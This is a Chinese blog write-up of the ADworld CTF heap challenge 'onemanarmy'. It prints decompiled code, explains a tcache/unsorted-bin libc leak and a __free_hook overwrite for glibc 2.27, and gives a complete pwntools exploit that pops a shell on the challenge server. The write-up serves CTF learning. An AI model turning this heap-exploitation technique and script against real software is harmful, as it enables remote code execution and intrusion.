ADworld pwn wp - onemanarmy

前言

攻防世界的一道large bin,unsorted bin,tcache attack的题目(one man army, 一个人的军队, 看起来很吊)
做到后面的10分题,发现攻防世界的题目环境问题很多啊,不是高分题有多难,而是环境有问题打通了也拿不到flag,或者根本打不通(2021.9.10

不过这道题是可以顺利打通的

分析过程

在这里插入图片描述

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+Ch] [rbp-24h]
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  sub_11B5(a1, a2, a3);
  memset(s, 0, 0x10uLL);
  while ( 1 )
  {
    menu();
    read(0, s, 0xFuLL);
    v4 = atoi(s);
    if ( v4 == 4 )
      return 0LL;
    if ( v4 == 2 )
    {
      Puts();
    }
    else if ( v4 > 2 )
    {
      if ( v4 == 3 )
      {
        Free();
      }
      else if ( v4 == 9011 )
      {
        if ( !dword_4050 )
        {
          read(0, buf, 0x100uLL);
          goto LABEL_15;
        }
      }
      else
      {
LABEL_15:
        puts("Invalid option!");
      }
    }
    else
    {
      if ( v4 != 1 )
        goto LABEL_15;
      Create();
    }
  }
}
unsigned __int64 sub_1243()
{
  __int16 v0; // ax
  size_t size[3]; // [rsp+Ch] [rbp-24h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Size: ");
  read(0, (char *)size + 4, 0xFuLL);
  v0 = atoi((const char *)size + 4);
  LODWORD(size[0]) = v0 & 0x1FF;                // size
  buf = (char *)malloc(v0 & 0x1FF);
  printf("Content: ");
  read(0, buf, LODWORD(size[0]));
  puts("Done!");
  return __readfsqword(0x28u) ^ v3;
}

在这里插入图片描述

选择9011时, buf存在溢出

漏洞利用

堆溢出的问题最终都是要攻击free/malloc(_hook), 比如修改free_hook, 使其调用system, free("/bin/sh\x00")就可以实现get shell
这题给了libc, 是2.27版本, 考虑tcache机制, 反而是tcache比fastbin更容易利用
思路:
申请两个连续的chunk, 释放第二个, 用堆溢出修改第二个chunk的size为large chunk, 再申请回来再释放就会放入unsorted bin, 接着从unsorted bin中切割出一个0x30的chunk, unsorted bin的头指针会往后指0x30偏移, 再申请一个0x40的chunk, 就可以拿到main_arena的地址, show()泄露出来, 这里需要将低3位抹平, 因为ASLR是按0x1000对齐的, 所以不用考虑第三位的偏移, 然后低3位加上hook在libc的地址即可拿到实际的hook地址

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

接下来就是继续chunk溢出, 修改tcache_next指针指向free_hook, 再修改free_hook指向system, 再给buf覆盖成"/bin/sh\x00", 最后delete就完事

exp

from os import system
from pwn import *

url, port = "111.200.241.244", 60081
filename = "./oneman_army"
elf = ELF(filename)
libc = ELF("./libc-2.27.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

debug = 0
if debug:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def BK():
    gdb.attach(io)
    pause()

def create(size,content):
   io.sendlineafter('Your choice:', '1')
   io.sendlineafter('Size:', str(size))
   io.sendafter('Content:', content)
 
def show():
   io.sendlineafter('Your choice:', '2')
 
def delete():
   io.sendlineafter('Your choice:', '3')

def edit(content):
   io.sendlineafter('Your choice:', '9011')
   io.send(content)

def pwn():
    malloc_hook_libc = libc.sym["__malloc_hook"]
    free_hook_libc = libc.sym["__free_hook"]
    system_libc = libc.sym["system"]

    for i in range(1, 0x10):
        create(i * 0x10, "ZZZZ")
        delete()

    create(0x10, "Z")
    payload = cyclic(0x10) + p64(0) + p64(0x4b1)
    edit(payload)
    delete()

    create(0x20, "Z")
    delete()

    create(0x20, "Z")
    create(0x30, "Z")
    show()
    io.recv(1)
    main_arena_addr = u64(io.recvuntil("\n", drop = True).ljust(8, b"\x00"))
    libc_base = (main_arena_addr & 0xFFFFFFFFFFFFF000) + (malloc_hook_libc & 0xFFF) - malloc_hook_libc
    free_hook_addr = free_hook_libc + libc_base
    system_addr = system_libc + libc_base
    log.info("libc base address: %#x" % libc_base)
    log.info("free hook address: %#x" % free_hook_addr)
    log.info("system address: %#x" % system_addr)

    payload = cyclic(0x30) + p64(0) + p64(0x50) + p64(free_hook_addr)
    edit(payload)
    create(0x40, "ZZZZ")
    create(0x40, p64(system_addr))
    create(0x50, b"/bin/sh\x00")
    delete()

    io.interactive()

if __name__ == "__main__":
    pwn()

总结

难点

(1) 构造tcache 0x40链第一个chunk和unsorted bin的第一个chunk重合
这是一个比较复杂的点, 一开始不理解泄露libc的手法, 但是通过调试观察内存数据理解了.
其实本质都是通过unsorted bin的main_arena泄露libc, 不过问题在于怎么拿到第一个unsorted bin的chunk, 因为有tcache机制, 又有堆溢出, 所以可以通过修改下一个邻近的chunk头size改成large chunk, 丢进unsorted bin中, 接下来是问题的关键, 因为这里是修改0x30chunk到unsorted bin中, 实际内存中是0x30和0x40chunk邻接, 所以把large chunk切割出一个0x30后, unsorted bin中的第一个chunk就是剩下的部分, 而这个chunk头刚好就是tcache中0x40chunk的头, 所以再申请出tcache中的0x40chunk就拿到了unsorted bin第一个chunk的数据, fd指针就是指向main_arena
(实在看不懂的可以一行行调试观察heap和bin

卡点

(1) 老毛病了, 犯低级错误, 64位系统地址一共写成16位16进制
0xFFFFFFFFFFFFF000
而不是8位
0xFFFFF000

参考

https://blog.csdn.net/seaaseesa/article/details/104241011

https://blog.csdn.net/abel_big_xu/article/details/111145399

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值